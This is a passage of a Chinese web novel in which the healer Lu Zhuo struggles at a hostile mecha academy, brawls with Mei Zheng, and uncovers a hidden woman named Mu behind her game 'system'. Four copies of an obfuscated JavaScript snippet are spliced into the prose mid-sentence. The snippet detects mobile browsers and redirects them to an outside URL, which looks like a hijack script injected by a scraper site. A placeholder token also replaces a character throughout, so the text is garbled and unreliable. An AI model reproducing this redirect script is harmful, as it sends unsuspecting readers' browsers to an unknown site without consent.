这就是外骨骼吗？还是某种她并不知道的机甲？ 陆灼不知道，她只看见梅铮垂眸，嫌恶地看了一眼窗户，而后慢慢顺着她的宿舍环绕了起来—— 陆灼下意识跟着梅铮的动作走了起来，［男也］的动作很快，刚开始从一个窗户越到下一个窗户，陆灼还要小跑着才能追上。 再然后，梅铮似乎是意识到了什么，速度突然慢了下来，陆灼正打量着［男也］要干什么，梅铮却突然加速，飞一样地继续猛冲。 陆灼下意识要上赶几步，却见梅铮突然又停下动作，朝她轻飘飘地看了一眼。 于是陆灼彻底停下了动作。 而后直接走到自己这座不算大的单人宿舍的正中央，席地而坐。 她算是看出来了，梅铮显然是在溜她呢。 而且更重要的是，梅铮根本不敢真的给她找麻烦，就连把宿舍的玻璃撞碎都不敢。 而另一边，发现陆灼动作的梅铮顿感没劲，只能摇摇摆摆着来到了南边的窗户，而后“咚咚咚”敲得极大声。 陆灼凑近，打开了窗户。 迎面甩来的却是一个一个手环： “这是你的光脑，扫一下你的芯片，就能登录了。 “里头有课表等一切信息，到时候可别说我没教过你。” 陆灼下意识接住，再一抬头便见梅铮恶狠狠地盯着自己，骂了声：“开后门进来的，就是麻烦。” 不知道是不是陆灼的错觉，她总觉得，梅铮强调了“开后门”这几个字。 陆灼不理［男也］，伸手便要重新将窗户关上，梅铮已经翻了个白眼： “得了，傲什么傲。 “别以为我不知道徐普的想法，不就是想要建立独属于自己的走狗，你以为你自己是个什么东西！” 陆灼已经将窗户拉了起来，梅铮的声音顺着缝隙钻了进来： “得了吧，那家伙压根看不起我们这种平民，主任也只是表面上给［男也］面子——不然的话，怎么会让你只住在这里呢？” 最后那句话，陆灼以为只是普通的放狠话，在她好不容易解锁光脑打开学校资料时，却终于明白了含义。 她正在看的是学校的地图。 因为有悬崖的存在，学校并不是一个四四方方的地方。 宿舍区在最东边，横跨了南北。而教学楼和训练场则在最西南，像她这种宿舍在东北的，算是离得最远的。 ……但是，能有多远呢？ 之前主任带着学生们走进来、带着她来到自己的宿舍，明显也没有多远。 陆灼退出地图，看了眼课表，而后才发现—— 就在八点钟，正好有第一节课！ 又是熟悉的早八！ 陆灼切回地图，鼓捣了好一会儿，这才终于启动了导航。 根据导航显示，距离90千米！跑过去起码需要10个小时！ 这怎么可能！ 这么说来，学院得是多狭长的布局！ 最重要的是，这样的话，她怎么可能可以去上课？ 陆灼当即出了门，开始顺着自己的宿舍去敲隔壁的门—— 没关系，这里的宿舍一排又一排，肯定能找到同学的。 到时候，她一定能找到办法的。 她顺着过去，看到隔壁是和她一模一样的布局，只不过南边的空间里，横着三个晾衣架—— 这是个三人寝？ 陆灼喊了好几嗓子，却没人应答。 ……没人住？ 陆灼顺着看了过去，有三人寝、四人寝、六人寝，布局相似、东西的数量不同，而唯一一模一样的就是—— 都没有人住！ 怎么会这样？ 她知道主任给自己挑屋子是屎里挑屎，但是她没想到，竟然是独属于她的屎！ 徐普说了给她单人间，主任给了，却是在这样的位置！ 陆灼不死心地往前走着，眼看着终于要走到宿舍门口那里，终于看见几张熟悉的面孔，正是昨天晚上跟着一起来看她测验热闹的人！ 她不想第一天就有求于人，但是情急之下，她还是下意识拦人： “不好意思，路途太远，能不能带我去上学？” “呵，带你去上学？” 被拦住的男生笑了一下，上上下下打量着陆灼， “你昨天晚上不是挺能的，把我舍友都治好了？怎么，上个学也难到你了？” 舍友？ 说的是那个被梅铮扎针的人？ 陆灼缓了脸色：“我水平有限，不过［男也］的身体的确没什么损害……” “那家伙回来就死了！［男也］是被你治死的！” 男生陡然沉了脸色，提高音调， “带你上学？谁知道你会不会看上我们的外骨骼，然后趁机把我们也害死！ “毕竟你有着如此诡谲的治疗术，表面救人，事实上却可以将人害死！” “我没有！”陆灼下意识辩驳，她当然知道和这群人争论是不会有好结果的，但不知道是不是因为潜意识作祟，她还在尝试，“是梅铮打了针剂，你应该去问梅铮……” “［男也］是我们这一届最厉害的治疗师，有［男也］组队，获胜率都高了太多。” 男生已经整理好仪表——［男也］的仪表就是一层闪着暗光的外骨骼。 再然后，［男也］打开停机库，里面琳琅满目的尽是各种各样的大机甲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449040|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而后，［男也］拉开其中一个底下的暗门，爬了进去，这才操纵着那个大家伙，来到了陆灼的面前，高高在上地俯视着她， “你让我怀疑［男也］，却相信你这个关系户？” “不要和［男也］多说了，有这时间不如早点去学校早训。” 机甲身后，猝然飞起一个小巧的飞行器，里面传来一个闷声又带着沙哑的声音。 明明是给男生撑腰的话，但男生却冷哼了一声，直接翻了个大白眼： “谁要和你在这里假惺惺，去你的早训去吧。” 飞行器顿了顿，而后垂直了机身，从男生的机甲旁边挤了过来，轻描淡写道： “就你这个庞然大物的速度，不知道是不是要跑两个小时呢。 “提醒你，是因为我善。” “少在这里显摆！”男生提高了音调，“有本事你不要天天跟着萧勃，靠自己的本事和我比一场！” 飞行器冷笑了一声：“你以为你今天能站在这里和我说话，靠的全是你自己的本事吗？” 男生刚想回嘴，飞行器已经彻底略过男生，来到了陆灼的面前。 陆灼抬眼。 虽然形容飞行器小巧，但也是和男生那个庞然大物相比较的。 现在近距离一看，只觉得有呼啸的风扑到面上，开到最小的灯光也依旧是刺眼异常，通身流畅，却好似可以即刻贯穿陆灼。 它不敢杀了她的。 陆灼闭了闭眼睛，尽可能让自己努力维持住面上的表情，下意识攥紧了腕上的光脑。 冰凉的感觉顺着掌心传递过来，也让她终于获得了几分清醒。 与此同时，飞行器上上下下移动着，就好像是在一点一点地打量着陆灼。 “陆灼?”飞行器在问。 陆灼退了半步，而后转身要走。 飞行器追上了半步：“你要不要我送你过去？” “孟荃！”身后有人喝止。 但陆灼猝然回头，猛地望向飞行器：“你说真的？” 她不相信这里的人会有这么好心。 但是……如果呢？ 陆灼抿了抿嘴唇，直直看向飞行器。 飞行器的前方只有一个极小的窗户，让人看不清里面人的神情。 但是她几乎敢笃定，里面的人也正在看着自己。 身后，刚想扬长而去的机甲也顿在原地，偏头看向这边的方向。 有胆子大的跑到了近前，要阻拦孟荃： “孟荃，要是被萧勃知道你跟这家伙扯上关系，非杀了你不可。” “哟，你提醒孟荃干什么，难不成你还想接替孟荃的位置？” 嬉笑声顿时响起，话语间，孟荃和陆灼旁边的人竟然都逐渐往后退了不少。 但话语正中间的两个人却都沉默着。 再然后，飞行器却向下倾身一样，“望”向陆灼： “当然……不可能了。 “陆灼，来学校第一天，就让我教你最重要的第一课。 “不要做自己够不上的事情，不要对自己有不切实际的梦想。” 飞行器的金属透着凉意，陆灼却觉得背脊发冷，她听见飞行器一字一顿： “垃圾，就应该待在垃圾场里。” 11. 第 11 章 孟荃。 陆灼咀嚼着这个属于面前飞行器的名字，抬眼静静地看着此人。 飞行器没有说话，只静静维持着一种两相对峙的气氛。 在这种剑拔弩张里，陆灼猝然开了口： “很漂亮的飞行器。” 她顿了顿，唇角微勾： “就算是做战斗师，也不遑多让。” 光脑里说了，学校规定，每个同学都必须显示职业类别——打开光脑开关，光脑会自动在每个人的头顶浮现出职业。 而孟荃头上，浮现的就是“护卫师”。 “不过就是个护卫师，还敢肖想做战斗师？” 嘈杂声顿起，有人怼完了孟荃，旋即看向陆灼， “你不过就是个小小治疗师，竟然敢越俎代庖，抢了主任评判学员的资格。” 小小治疗师。 治疗师，在今日的确可以算是小小了。 比如在如今，大有治疗舱，小有治疗球，按道理应该没有治疗师存在的必要了。 但新的科技发展带来新的岗位，治疗仪器代替了常规治疗师，却催生了治疗仪器的搬运工。 另一方面，治疗仪器的制造需要许多材料，在临时无法使用治疗仪器的地方，则需要星际治疗师的第二个作用。 思及此，陆灼忍不住咬了咬牙，强迫自己不要再继续往后想。 她白了之前说话的那人一眼，旋即转身快步离去。 现在不是继续和这群人贫嘴的时候，她得赶紧去做更重要的事情。 去垃圾场。 像在贫瘠星一样，在垃圾场里找到点有用的东西。 至于上课…… 她的确心急，但她想，把她安排进来的徐普只会更加着急。 * 陆灼重新回到了垃圾场边。 和在房间里看不一样，整个垃圾场看起来宽阔异常，除了无可忽视的气味之外，更像一个没有尽头的无底洞。 这里的垃圾会运往哪里呢？ 陆灼垂眸往下看，慢慢蹲了下去： 【系统，我想拥有可以快速上学的外骨骼或者机甲，会有这样的卡牌吗？】 系统依旧是那种古井无波的机械音： 【宿主，请您自行回忆古地球中医大姥……】 【可以了可以了。】陆灼打断她，继续问，【那我想找到办法可以控制自己的外骨骼，有没有类似的卡牌？】 【宿主，请您自行回忆……】系统话还没有说完陆灼已经很快打断它了：【不必说了。】 她顿了顿，又问：【那连抽是不是一定比单抽的运气要好？】 【规则已发放，请宿主仔细阅读详细规则。】系统回答。 陆灼忍住翻白眼的冲动：【那什么情况下才能算我完成顺利入学的任务？】 【宿主，这是字面意思。】系统即答。 …… 陆灼翻了个大白眼。 字面意思，顺利入学…… 陆灼忍着脾气，最后问道： 【垃圾场的垃圾会拉到哪里？ 【地球、贫瘠星……和天堂星的垃圾场可以互相连通吗？】 系统顿了一下，难得连些细微的机械运作声都消失了。片刻后，才回答： 【请宿主仔细阅读规则。】 ……该死。 她算是确信了，这个系统很可能根本就不是为了挽救女人们的生命而研发出来的。 哪怕她上次如此诘问，系统也不愿意给个明确的态度出来。 陆灼旋即又搬出了上次的态度来： 【总之如果你不帮我，我也没办法上学，那我就在这里耗着，看是我先死还是你先达到目的。】 说着，她转身回到属于自己的家中—— 之前说过，家里模拟的生存环境甚至要比古地球要好。 只可惜，在生活用品方面却极度贫乏。 屋子边缘处有一张床，以及旁边有一套桌椅之外，什么都没有。 没有她曾看见过的治疗舱，也没有营养液，更没有任何外骨骼或者机甲。 陆灼在光脑里看见过，这些东西是需要钱财或者学分在学校商城里兑换的。 但她什么都没有，如果一直待在这里，肯定会徒劳死去。 她必须逼系统帮忙。 而且，她还得搞清楚，这个系统来到她身边、目的到底是什么。 陆灼假模假样拍了拍床铺，而后直接仰躺下来，果然听到系统喊了一声：【宿主。】 陆灼于是闭上了眼睛。 只听耳边“沙拉拉”了几瞬，复又重新安静了下去。 ……这是又不帮忙了？ 陆灼努力平稳着心绪，静静等待了几个呼吸。 可系统却还是一个字也没有说。 下一刻，陆灼从床上一蹦而起。 她当然可以继续摆烂逼迫系统，但她不愿意这么做。 要想逆转这个世界，只能由她自己来。 她下了床，将屋子里又转了一圈，确定没有任何东西方便随身携带。 而后便在屋子里开始做起了广播体操，她认真做了几遍，又重新做了热身，确定自己的身上只是微微发汗，下半身外骨骼的不适感也终于消退了一些，这才调出了卡牌页面。 她望向自己的手心，念道： 【使用“义妁”。技能一，恢复我自己的气血。】 下一刻，她瞬间感觉到自己的身体又重新轻盈起来，这才转身开了门，打开了光脑里的地图。 如果已经确定徐普以及系统不会给她更多的帮助，她也不是会自暴自弃的人。 没有机甲，不会使用小队长的外骨骼，那她就直接走着去。 …… 路程很远，一直走也需要十个小时，更何况陆灼是个活生生的人。 她并没有着急，一路上走走看看，累了就坐下来歇歇，渴了饿了就勉强忍着、实在头晕目眩了就使用“义妁”的“气血失调”技能。 也正是这一段路，她才知道为什么校园建得这么大。 因为在宿舍区和教学楼的中间，是一大片的平房建筑。 按照地图的说法，这里是“训练区”。 只可惜，训练区的墙壁看不到门，陆灼顺着墙壁一直走着，直到夜幕重新降临，无数人从她的头顶飞回宿舍区，她也不知道到底如何进去。 她也不着急，直接随意挑选了一处墙壁，而后坐了下去。 旋即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449041|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她打开系统，看着已经黯淡下去的“使用”按钮，微微合上了眼睛。 根据地图，她已经走了将近一半的路程。 她正在等待第二天的到来，然后刷新“使用”次数，重新开始行走。 这一路上，她遇到一些同她一样行走的人，但是那些人大多行色匆匆，偶尔有停下来a看她的、也都在旁边人的示意下立刻离开。 而像主任那样的行政层或者是教职人员甚至是服务人员，却都一个都没有看到。 一边是训练区平房墙壁，另一边则是连绵不断的铁丝网，透过去看到的则又是墙壁——只不过这个墙壁是为了隔绝学校与外界。 陆灼也曾看见过新的大门，只不过每一扇大门处都停放着一个巨大的飞行器，让她无法透过间隙看到外面世界的样子。 就这样陆陆续续按照地图的标志要走到教学楼时，陆灼终于听到了熟悉的动静。 她的同学们又重新来上学了。 最先发现陆灼来到教学区的是萧勃。 ［男也］收了机甲，直接来到了陆灼的面前：“你是怎么过来的？” 下一刻，［男也］的目光很刻意地在陆灼的下半身逡巡了一圈，而后才道： “哦，是靠你这套落后又恶心的外骨骼，是不是？” 虽然有“义妁”卡牌的帮助，但陆灼还是累极了，闻言只是白了萧勃一眼，而后便要绕过萧勃而去。 根据她的理解，完成入学应该就是正常上课。不知道是不是只要她踏入教室，或者是听完一整节课就可以得到奖励了。 她不希望自己进入任何一个结构，但如果必须要进入一个结构才可以打倒另一个结构的话，她也愿意勉强按照系统的任务来做。 也正是这一绕，陆灼才看到，距离萧勃不远处，孟荃正站在［男也］的身后，冷眼看着她。 看来之前那些同学说孟荃和萧勃关系匪浅是有迹可循的，只不过，不知道是不是她理解的那种关系。 但陆灼已经没力气思考这些八卦了，还想再往前走，面前又出现了熟悉的人。 是纪良和梅铮。 纪良站在稍远处看着她，而梅铮则直接走近几步，来到了她的面前： “难怪怎么闻到了一股臭味，原来是住在垃圾场旁边的小垃圾来了。” 陆灼抬眼看向梅铮，不动声色地上上下下打量了［男也］一番，而后出乎所有人意料的，猛地扑了上去！ 在场围观的人们下意识往后退去，陆灼则拽着梅铮打了好几个滚，而后才一下子跃起，快步往前冲了几步，一下子握住了教学楼楼梯旁边的栏杆—— 【恭喜宿主成功完成入学要求，完成任务“新的未来”。 【接下来为宿主发放任务奖励： 【恭喜宿主，获得抽卡机会一次。 【恭喜宿主，解锁新功能“组队”。 【恭喜宿主，解锁主线任务“创建属于自己的战队”。】 陆灼气喘吁吁地趴在栏杆上，脸上都是细细密密的汗珠，但不知道是因为累到几近虚脱，还是因为突如其来的狂喜，她慢慢转回身，朝着梅铮挑了挑眉毛： “来啊，有本事就打死我。 “不然，我总有一天把你咬死！” 12. 第 12 章 梅铮被纪良扯了一把，刚想后退，却一下对上了陆灼的眼睛。 那像初生的野兽一样，虎视眈眈的眼神。 梅铮立刻就火了。 ［男也］挣开纪良的拉扯，猛然伸手指向了陆灼：“你是个什么东西！也敢和我叫嚣！ “不过你别想激怒我，你就是想让我在这里对你动手，好让你告我的状！” 陆灼的唇角冷冷勾起一抹笑来，眼神毒蛇一样盯紧了梅铮，可却没有立刻说话。 她垂下眸，对着光脑点击了几下，而后，她的头顶就浮现出了硕大的三个字—— “治疗师”。 再然后，陆灼就展开手臂，挑衅似的朝梅铮一抬眼： “你怕了吗？” 纪良拽住梅铮的后脖颈，一时间，周围没有任何一个人说话。 反倒是孟荃转眼看萧勃：“学校里不许私斗，打不起来，我们先去上课吧……” “哼，只会逞口舌之快的孬种。”陆灼顺势转身，身后却突然间一阵掌风袭来！ 她瞬间抬起手肘，猛然往后一击，而后迅速回转身来，对着身后便是一阵毫不留情的拳打脚踢！ 梅铮穿着的外骨骼坚硬异常，陆灼感觉自己的拳头打在上面，用了十分的劲，自己还要再痛二十分。 可她毫无停止的意思，用腿上的外骨骼拼命地击打上去，一时间，发出阵阵“铿锵”之声，痛得她被包裹住的的腿部肌肉都酸疼起来。 兴许是外骨骼相击终究还是让梅铮感觉到了些许不适，［男也］猛的按住陆灼的肩膀，将她往地上一推，而后抬起一只脚，一下子踩在了陆灼的腿上！ 剧烈的专一的疼痛感瞬间窜到陆灼的头顶，她立刻用另一只腿横扫过去，却被梅铮直接抓住了脚踝，而后被一使劲，就往梅铮的方向拖了过去。 电光石火之间，陆灼猛然挣脱了外骨骼，跌跌撞撞地爬起来，直往身后跑去。 她的双腿已经满是血污，此时被强行调动，直接引得陆灼踉跄不已，直接倒在了地上，狼狈地往前爬了好几步。 周围立刻响起了一片哄笑，陆灼则趴在地上，很慢地在心里数着—— “五， “四， “三， “二， “一。” “你们在干什么！” 主任的声音响起，在教学楼里，一连串出来了好几个老师。 陆灼慢慢抬起脸，一眼就看见了人群里的徐普。 徐普要把女人们的尸体送去天堂星，而根据她这一路的见闻，只有学校附近适合进行交通运输，徐普很难有理由舍近求远。 徐普肯定还会在这里。 只要［男也］还在这里，对她就还有利用价值。 陆灼盯着徐普，看着徐普一步一步朝自己走来，脚步停在了自己的面前： “学校内不许私斗，梅铮，新同学不知道、你也不知道吗？” “是这家伙先动手的。”梅铮冷哼一声，“总不能因为［男也］是你的学生，你就这样包庇［男也］吧。” “那也是你先出言不逊。”徐普的语调沉稳，说话也不疾不徐的，“陆灼也刚好恰逢精神力月事，脾气急躁点也很正常。” 月事？ 精神力月事？ 陆灼瞪圆了眼睛。 看过百科全书的她，当然不会不知道这个词的意思。 精神力固然是这个世界的硬通货，但物极必反，一分为二，精神力紊乱期也是无法避免的时间。 而男人们，给这种固定、无法抑制的时期，起了个名字，叫精神力月事。 陆灼感觉心口有一团火在燃烧，烧得她几乎头昏脑胀起来。 “徐普先生，您可别拿精神力月事做借口，我怎么没看出来这家伙在精神力月事的时期？” 纪良冷哼一声，加入了话题，甚至还上上下下打量着陆灼，明显很不屑一顾的模样。 “冲动易怒，不自量力，任凭情绪和生理变化支配自己，这不是精神力月事是什么？” 梅铮却似乎立刻接受了这个解释，抬眼看向徐普， “那您说，就算是精神力月事，这家伙把我打成这样，该怎么办？” “……那就减少一次治疗球维修次数。” 徐普硬着声音， “月考测试时，陆灼减少一次求助场外治疗球维修的次数。” 月考测试。 这个陆灼也知道，是学院的传统，在学期四分之一和四分之三时举办考试，检测大家的训练成果。 考试，也是唯一合法的对战时刻。 因为还没有到组队的时候，每个人身边也不一定会有愿意帮助自己的治疗师，因此学校提供治疗球的治疗机会。 这可以说是非常珍贵的重启机会，就算对于治疗师来说，也可以让人们可以尽心力地投入比试之中。 “好啊，那我就等着月考测试、好好看一场笑话了。”梅铮冷哼一声，径直就往教学楼走去。 就是这样。 嘴上说着梅铮有错，实际上惩罚的还是她陆灼。 陆灼慢慢站起来，眼眸沉沉地看着徐普，而后也进入了教室。 前段时间老师们陆陆续续布置了一些学前预习，班级的课堂速度不算慢，甚至可以算得上快。 陆灼有不少地方没听懂，只得在书本上勾画出来，而后背着包就要往回走。 她刚出门，就见门口正有人等着她。 竟然是徐普。 她于是站定：“您有什么事情吗？” “你的外骨骼坏了，我送你回去。”徐普说罢，身后有两个机器人迈步向前，而后直接把陆灼举过头顶，和徐普一起飞快地朝着宿舍区而去。 一路上，身边有不少同班同学，人群的视线都一错不错地看向陆灼，像看一只表演的大猴子。 陆灼觉得，自己被机器人这样举着，的确很像一直可供观赏的大猴子。 她清了清嗓子，开口喊道：“徐普先生。” 徐普没应声，只偏了偏头。 陆灼于是继续说： “您知道，我的外骨骼坏了，但我还需要上课……” 徐普没有立刻说话，只在人群终于变得稀稀拉拉的时候，才慢慢开了口： “不就是想要个新的外骨骼吗，我知道了。” “不，徐普先生，我不要外骨骼。” 陆灼慢慢比划着， “我要，机甲。” “明明上一个属于自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449042|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的外骨骼还是个陈旧的下半身骨骼，现在竟然就敢直接挑机甲了？” 徐普冷冷哼了一声，动作快了一些， “你以为，你一直带着那个外骨骼的原因，我不知道？” “那请您说，是为了什么？” 陆灼反问。 “自然是为了遮挡一些见不得人的东西。” 徐普转回头，目光若有所思地在陆灼的下半身上转了一圈，才继续道， “现在，为什么不用遮挡了呢？” “自然是因为梅铮。” 陆灼的语气里满是愤恨， “这家伙有意排挤我，故意打坏我的外骨骼，让我没办法再来上课。” “是吗。” 徐普不置可否。 陆灼提高了音调： “您这是什么意思？我是您的人，是您最忠诚的奴仆，您这个回答是连我都不相信了吗？” “身为奴仆，不应该算计主人，也不应该自以为是、自作聪明。” 徐普猛然停下，语气中是隐忍的不耐。 而后，陆灼被机器人往前一甩，一下子跌坐在了自己的家门口，徐普则继续道， “我会给你全套外骨骼，至于机甲，就看你的月考表现了。” 陆灼露出自己的光脑：“那我想要随时联系您，请您加我光脑的联系方式。” “我不希望听到狗在我面前不停叫。” 徐普调转身形， “我喜欢安静地行动，陆灼。” 是了。 徐普的目的就是让自己做一条听话的狗。 是［男也］的狗，徐普就会护短。 不过，［男也］也不是那么好轻易算计的。 陆灼慢慢站起身，打开房门，露出了个势在必得的笑容来。 与此同时，徐普继续说：“你今天去上课了，我已经和主任说，把你这门课所有的学分都补上—— “别真给我饿死了。” 但是，如果像她这样光明正大地算计［男也］，［男也］只会觉得，虚荣心得到了满足。 就像现在这样。 陆灼拉起身后的房门，径直打开了光脑。 她早已研究了好几次，这下立刻买下了大箱毫无口味的营养液，大口大口喝了起来。 这营养液便宜，也没有“气血失调”功能好用，但是比起垃圾星的营养液，的确要好出了不少。 陆灼如同久旱逢甘霖，大口大口地喝着，等到喝得肚子都鼓了起来，才对脑中的系统开了口： 【我要抽卡，两次抽卡机会连抽。】 虽然只是两次抽卡机会连抽，但成功的概率一定比单张卡要高。 这是卡牌的规则。 于是，陆灼听见，熟悉的机械音响起： 【恭喜宿主，使用两次抽卡机会连抽，没有获得任何卡牌。】 ……？ 什么？ 没有获得任何卡牌？ 陆灼几乎是抑制不住提高了音调：【你的说明书说得清清楚楚……】 【说明书也没有说是100%。宿主您幸运，成为了这个幸运儿。】 陆灼没有回答，只是单手握拳，而后狠狠地朝着自己的太阳穴挥了一圈。 13. 第 13 章 【宿主，请不要企图一次又一次用自己的生命威胁，系统也不会次次都妥协。】 系统迅速反应，但陆灼只是冷笑了一声，而后开始收拾起了新获得的营养液， 【系统，你会疼吗？】 【我不会。】 系统语调稳定， 【所以，你这样打，对我没有任何影响。】 【但我会疼。】 陆灼将其中几瓶放进兑换来的挎包里，而后将其它的盖好，径直站了起来， 【我会疼，就可以了。】 陆灼刚刚用的力气不小，太阳穴处还有些火辣辣地疼。 但她还是慢慢往前走着，推开房门，往悬崖的方向走过去。 系统竟然又说话了：【你要做什么？】 疼痛感慢慢消失，紧随其后是无比清晰的冷静，陆灼加快了脚步，答道： 【你只是系统，不沟通，无情感——这是在贫瘠星时你就和我表达过的。 【你不应该也不可能问我这个问题。】 系统果然沉默下去，直到陆灼已经来到了悬崖边。 她像前几次一样，抬起眼，又一次看着面前这片浩浩汤汤的垃圾场。 陆灼站着的这一边照旧没什么人，而对面的区域里，隐隐约约能看到人头攒动。 陆灼依旧没有很明白对面的人是如何过去的，但她还是仔细看了一会儿，而后移开目光，看向了另一个方向—— 她重新回忆了当时的行进路线，那里应该是飞船降落的地方。 可贫瘠星，又该看天空的哪个部分才能看到呢？ 【自伤做不到，终于打算自/杀了吗？】 短暂消停了一会儿的系统复又出声，声音依旧硬邦邦的，就连语气也很难听出嘲讽。 陆灼没理它。 她只调整了一下自己的姿势，半蹲下去，踩住了向下的第一块石头。 与此同时，不知道是不是陆灼的错觉，她觉得身后的房子之间，似乎有人透过窗户盯向了她。 于是她放低了身子，加快了向下的脚步—— 垃圾只是被放错地方的资源，像她如今一穷二白的境地，只能去垃圾场碰碰运气了。 就算被发现也无所谓，她的治疗师技能就是“吃了垃圾”得来的，难道还会被人指摘什么吗？ 身形即将被垃圾场的边壁淹没的时候，陆灼又回头看了一眼。 她看到许多双眼睛虎视眈眈地看着自己，但是都隐没在房屋后面，没有一个人真的踏出来。 陆灼转回头，慢慢走了几步，调整好平衡，而后便加快速度朝下冲了过去—— “站住！你要去垃圾场？垃圾场能有什么好东西……” 脑中响起了系统声嘶力竭的声音。 不知道为什么，之前陆灼也不是没有做过出格的事情，但这次系统反应尤为大，甚至…… 陆灼抿紧唇，迅速反问道：“你有意识？你是个女人？” 是的。 系统的声音太激烈，因此甚至没有使用机械音，直接就是一个粗糙的女声。 是女声。 但是按照大姐等人的说法，这个世界上应该没有女人们了才对。 难道是…… 陆灼忍不住咬牙啃了一下下唇——她被人做了局！从贫瘠星那里就开始引导她，目的就是为了把那群藏在地下的女人们杀死，然后又让她进入学院，成为背后之人新的爪牙。 这样就能解释得通了。 为什么女人们死的时候，系统如此漠视，却又似乎更在乎她的生死。 陆灼几乎自暴自弃一样加快了速度，耳畔又劲劲的风声吹过，吹得她耳廓生疼，但她仿佛在这种痛意里才能勉强清醒。 她在问系统： “为什么？ “明明你也是女性，但在贫瘠星里，我求你救她们，你为什么不救？” “如同之前所说，我被人控制，刚恢复意识。” 系统里的女声顿了顿， “这个理由你相信吗？” 陆灼没有立刻回答，只克制着声音，很慢地重复： “那我再问你一遍，卡池里、有没有可以复活的卡牌？” “古中医的内容，你比我更清楚。”依旧是相似的答案。 陆灼几乎疲惫地闭了闭眼睛，脚下速度太快，已经几乎成了滑行。 她踉跄几步想站稳，脚下却突然一滑，再然后，她就一屁股坐到了石头上—— 随着屁股下灼热的摩擦痛感，陆灼感觉自己在使用一次丝毫没有经过安全测试的滑梯，牵扯痛到想停却无法制止。 她下意识想使用卡牌，但今天为了去学校早已用完了所有的卡牌使用次数。 她不愿意再听系统说那些假大空的套话，于是她紧紧咬着牙齿，直到脚底终于是另一种坚硬的感觉。 她睁开眼睛，发现自己终于、或者说竟然已经到了垃圾场的底部。 她的双腿双脚都发软，一时间难以站起来，只能维持着坐着的姿态，对系统道： “所以，你的目的是什么？” 系统女声回答得很快：“救我出去。” 陆灼很耐心地问：“这很难，你又能给我什么回报？” “除了我，你没有任何助力。”对方回道。 陆灼哑了一瞬，旋即释然地笑了声，又道：“所以，你从我生活的时空、选中我的理由是什么？” “因为你自以为是，固执又自负。”系统女声又答，但她没有多解释的意思，只又补充了一句，“贫瘠星不是个简单的地方，为了保你出去，需要有一些人的牺牲，这也没有办法。” 又是这样的回答。 陆灼的太阳穴突突跳动了几下，她拼命克制着怒火，才继续道： “所以，你现在能知道你自己在哪里？” “在天堂星。” 女声落下，陆灼还没来得及回答，与此同时，那熟悉的机械音竟然又响起了： 【恭喜宿主开启支线任务：“获得合适自己的第一件外骨骼”。】 【恭喜宿主开启支线任务：“获得合适自己的第一件机甲”。】 陆灼皱了下眉头：“你躲在天堂星？” 女声变得断断续续：“不是躲，我被囚禁在这里……” 紧接着，又是嘶嘶啦啦的电流声。 陆灼瞬间醒悟了：“你不是系统，你只是在通过系统和我联系。你是谁？你叫什么名字？” 女声却像是突然中断的弦，一下子听不见了。 陆灼抿紧嘴唇，立刻道： 【使用卡牌“邢氏”，“技能一：察色按脉”，告诉我系统背后女声的身份。】 【抱歉，卡牌无法对系统自身使用……】 机械音突然一顿，而后是更加激烈的电流音，紧接着，是重新流畅起来的声音， 【技能使用成功。】 下一刻，透明的屏幕在陆灼眼前展现出来—— “姓氏：穆。” “身份：未知。” 只知道姓穆。 那暂且称为穆氏。 虽然是空空荡荡的两行，所幸，还能看见穆氏的血条—— 陆灼在心里说着：【使用“义妁”，技能一：“气血失调”，替她补充气血。】 于是，肉眼可见地，陆灼看见穆氏的血条瞬间充满，而后，耳畔突然又出现了女声： “现在，你知道我的信息了。” “我只知道你姓穆。”陆灼问，“你还愿意告诉我更多事情吗？” “我和你说了，我也才恢复意识不久，事实上，我的记忆也很模糊。” 又是这样模棱两可的话，但陆灼已经不在意了。 系统依旧是那个古板无情的系统，但是如今又多了个藏在系统背后的女人。 她如今已经没有任何可依靠的人，身边来得越多，也许信息甚至希望就越多。 陆灼这样想着，理了理身上的灰尘，踏入了面前浩浩汤汤的垃圾场。 穆氏问她：“你要干什么？” “我要为自己找一副机甲。” 陆灼说着，环视着周围的东西—— 四周都是辨不清归属的碎片，间断有些残肢，基本没有可以直接利用的东西。 她也对机甲一窍不通，贸然下来，能找到的概率实在很小。 穆氏也是这么说的。 但陆灼只笑了一下，而后答：“我知道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 